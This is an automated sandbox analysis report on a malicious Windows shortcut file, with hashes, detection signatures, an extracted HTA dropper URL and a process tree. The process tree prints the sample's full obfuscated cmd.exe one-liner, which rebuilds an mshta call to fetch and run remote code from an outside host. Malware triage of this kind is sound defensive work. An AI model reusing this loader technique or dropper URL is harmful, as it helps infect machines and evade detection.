Analysis
- max time kernel
148s - max time network
119s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:23
Static task
static1
Behavioral task
behavioral1
Sample
DOC-D1WC3C.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-D1WC3C.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-D1WC3C.lnk
- Size 2KB
- Sample260803-qm2hasbr4x
- SHA256 91e48b9deb0802be45c3e0f2d220cef4477c1b706a72467efedddc641c8d5aa1
- MD5 b01507c96ab45c1505c3ea0936a306ca
- SHA1 6c4ab176e5c23348df184cc1cefa9bbd87c04357
- SHA512 32497e84d5306956e3653c8535e90e5d653fe0984a597c0371cfe092cbb4e910f3e8ce77ee0a4a0f950d27046c5cfe5e065b2de2c397f8dc9503bc3416dd841b
- TLSH T1F24137506AF901D8F3FA5F76A9BA2B5184BB79026E30C69D0550424C5432741D137F77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4936 cmd.exe 4500 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4936 wrote to memory of 4500 4936 cmd.exe 92 PID 4500 wrote to memory of 4424 4500 cmd.exe 93
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-D1WC3C.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4936 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set nYEGD=h4mshs&&set kAJ=wktfo&&set Zx=61aah9&set TV=systrqruuchfizgzydsys&set kzL=winxttfbwin&set qu=systcudhzbhpdulusbtptaatsys&set khbke=datrergeodgohrlueadesdat&set mtZH=s1xstare1m&&set NboUk=9y2tkn&set Go=infukmlwbglbqjlirocdrinf&&set FQ=htt@p@s://b@ro@-@pd@f@f@i@[email protected]/@h@/es@[email protected]@h@p?r@=@360761F1@57@94&&start /b !nYEGD:~2,3!!kAJ:~2,1!!Zx:~3,1! !FQ:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:4424
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